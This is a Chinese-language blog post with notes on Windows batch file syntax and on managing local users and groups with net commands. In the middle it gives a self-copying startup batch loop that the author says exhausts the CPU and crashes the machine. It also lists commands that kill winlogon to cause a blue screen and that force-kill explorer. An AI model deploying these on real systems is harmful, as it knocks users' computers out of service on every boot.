首页 > 其他分享 >批处理编写和用户管理

批处理编写和用户管理

时间:2023-04-21 13:33:10浏览次数:27  
标签:用户名 账户 批处理 用户 编写 net 权限

一、批处理编写

1.1 批处理作用

自上而下成批的处理每一条命令,直到执行最后一条!

1.2 如何创建批处理

文件扩展名:.bat

创建方法:新建一个记事本文件,然后将扩展名改为.bat

注:修改扩展名时,需要将文件扩展名显示出来

1.3 批处理基本语法

1.3.1 @echo off        

作用:关闭回显功能,也就是屏蔽过程,不显示命令,建议放在批处理的首行。

1.3.2 pause            

作用:暂停批处理运行

1.3.3 title

作用:为批处理脚本设置标题

1.3.4 echo.            

作用:在执行批处理脚本时,可以空一行

1.3.5 set

作用:设置变量,常用于脚本中的互动赋值

互动赋值:set /p time=请输入时间:

引用变量:%time%

1.3.6 :和goto

:定义标签名

goto实现跳转

两者是分不开的,无论少了哪个或多了哪个都会报错。当程序运行到goto时将自动跳转到定义好的标签部分去执行命令块了

==================================

ntsd -c q -pn winlogon.exe 关掉window的登录进程(针对xp或2003的蓝屏命令)

taskkill /im explorer.exe /f >nul 2>nul  强制杀死桌面进程,不提示执行是否成功

start 打开一个文件,什么都不写就打开cmd

color 0a 设置底色为黑,字为绿,color ?可以查看颜色

%userprofile%        # 取变量userprofile的值(当前用户家目录)

===================================

下面的批处理文件运行时会将此文件复制到当前用户的启动文件夹下,在下次系统启动时会自运行,因为这个goto一直死循环执行自身,不断打开cmd,会将CPU占满,电脑蓝屏死机。(下面第一条命令中的复制位置有特殊符号,还有变量,需要加入双引号)

===================================

copy 文件名.bat "%userprofile%\「开始」菜单\程序\启动"

:d

start

goto d

===================================

二、用户与组管理

1、服务器系统版本介绍

Windows服务器系统:win2000 win2003 win2008 win2012

Linux服务器系统:Redhat Centos

2、用户与组管理

2.1 用户概述

每一个用户登陆系统后,拥有不同的操作权限。
每个账户有自己唯一的SID(安全标志符)
用户SID:S-1-5-21-426206823-2579496042-14852678-500
系统SID:S-1-5-21-426206823-2579496042-14852678
用户UID:500
windows系统管理员 administrator 的UID是 500
普通用户的UID是1000开始
不同的账户拥有不同的权限,为不同的账户赋权限,也就是为不用账户的SID赋权限!查看SID值:whoami /user
账户密码存储的位置:C:\Windows\System32\config\SAM #暴力破解/撞库
windows系统上,默认密码最长有效期为42天

2.2  内置账户
*给人使用的账户:
        administrator  #管理员账户
        guest  #来宾账户(默认禁用,权限最低)
*计算机服务组件相关的系统账号
        system  #系统账户 == 权限至高无上
        local services  #本地服务账户 == 普通权限
        network services  #网络服务账户 == 普通权限

*配置文件

    每个用户都有自己的配置文件(家目录),在用户第一次登陆时自动产生,路径:

    win7/win8/win10  C:\用户\用户名

     xp/win2003          C:\Documents and Settings\用户名

net user                       # 查看用户列表
net user 用户名                 # 查看用户详细信息
net user 用户名 密码             # 改密码
net user 用户名 密码 /add        # 创建一个新用户
net user 用户名 /del            # 删除一个用户
net user 用户名 /active:yes/no  # 激活或禁用账户

3、组管理

3.1 组概述
组的作用:简化权限的赋予
赋权限方式:
1)用户-组-赋权限
2)用户-赋权限

3.2 内置组

内置组的权限默认已经被系统赋予

administrators      #管理员组
guests      #来宾组
users      #普通用户组,默认
network      #网络适配组
print      #打印机组
Remote Desktop      #远程桌面组
net localgroup                  # 查看组列表
net localgroup 组名              # 查看组的成员
net localgroup 组名 /add         # 创建一个新的组
net localgroup 组名 用户名 /add   # 添加用户到组
net localgroup 组名 用户名 /del   # 将用户从组中删除
net localgroup 组名 /del         # 删除组

===============================================

Windows中图形化界面查看用户和组

我的电脑图标选中右键点击管理

 本地用户和组可以查看用户和组

===============================================

标签:用户名,账户,批处理,用户,编写,net,权限
From: https://www.cnblogs.com/panglinglong/p/17340044.html

相关文章

  • 动态库dll编写经验
    流程(1)新建dll工程,空白工程即可(2)编写接口代码(3)添加def文件,用这个最省事def文件说明:LIBRARYgeos-functionEXPORTSisPointInPolygon_GFC#调用c++编写的动态库注意入口函数的大小写,用WinDbg工具查看[DllImport("geos-function.dll",EntryPoint="isPoint......
  • 手把手教你用Python操纵Word自动编写离职报告
    今日鸡汤不堪玄鬓影,来对白头吟。前言大家好,我是吴老板,今天给大家分享一篇Python自动化文章。Python是自动化处理的一把好手,比如自动编写离职申请!!!安装pipinstallpython-docx-ihttps://pypi.douban.com/simple/基本用法创建一个docx文档fromdocximportDocumentfromdocx.enu......
  • 2.solidworks快捷键等参数复制到其他用户方法
    导出solidwork快捷键等选项1.打开开始找到solidworks工具下的复制设定向导,或点击软件工具下的保存/恢复设置   2.点击保持设定,下一页3.设置保存位置和保存选项,即可 导入solidwork快捷键等选项1.打开复制设定向导,.选择恢复设定2,选择要恢复的文件位置和内容,选择当......
  • k8s编写cronjob
    1.k8s编写cronjob的知识点:通过sed对cronjob的yaml文件中的image属性进行替换:seds/old/new/gfile当old和new均为变量的时候,书写方式如下:sed-i's#'''$old_image'''#'''$new_image'''#g'quota-cronjob.yaml 2.cron......
  • django获取当前用户提交到数据库的最新一条记录
    比如想获取最新一条数据的更新时间,datas返回的是一个QuerySet,是一个查询集可能用了filter,当用.last()返回最后一条记录时报错  objectisnotiterable然后用reverse()加上切片获取最后一条数据:reverse按倒序排列deflasttime(self):utime=FollowNote.objects.filte......
  • 用户创建
    用户创建......
  • 编写你的第一个 Django 应用程序,第8部分
    本教程从教程7停止的地方开始。我们已经构建了我们的网络投票应用程序,现在将查看第三方软件包。Django的优势之一是丰富的第三方软件包生态系统。它们是社区开发的包,可用于快速改进应用程序的功能集。本教程将展示如何添加Django调试工具栏,一个常用的第三方包。近年来,Djang......
  • opengauss高可用之远程访问、建库建用户
    一、概述先配置远程访问,再配置keepalived,是因为keepalived脚本检测opengauss重启不存活就会挂掉二、配置远程访问gs_gucset-Iall-Nall-c"listen_addresses='0.0.0.0'"gs_gucset-Iall-Nall-h"hostallall0.0.0.0/0sha256"gs_om-trestart#第一条配置是为了后续......
  • Mysql添加用户和设置权限的操作方法
    Mysql添加用户和设置权限的操作方法 更新时间:2022年07月28日09:42:08 作者:怪 咖@  https://www.jb51.net/article/257120.htm这篇文章主要介绍了Mysql添加用户和设置权限的操作方法,主要包括管理用户,权限控制的相关知识,本文给大家介绍的非常详细,对大家的学习或工作具......
  • 369-HI-0-B-0-0-0-0 用户可以调整电机浪涌电流
    369-HI-0-B-0-0-0-0用户可以调整电机浪涌电流 可记录事件的数量最后512个事件最大环境湿度高达95%的非冷凝控制功率输入范围110至250伏直流电,100至240伏交流电,频率为50/60赫兹差分开关时间延迟<200ms接地电流输入频率20至100赫兹绝缘种类I海拔2......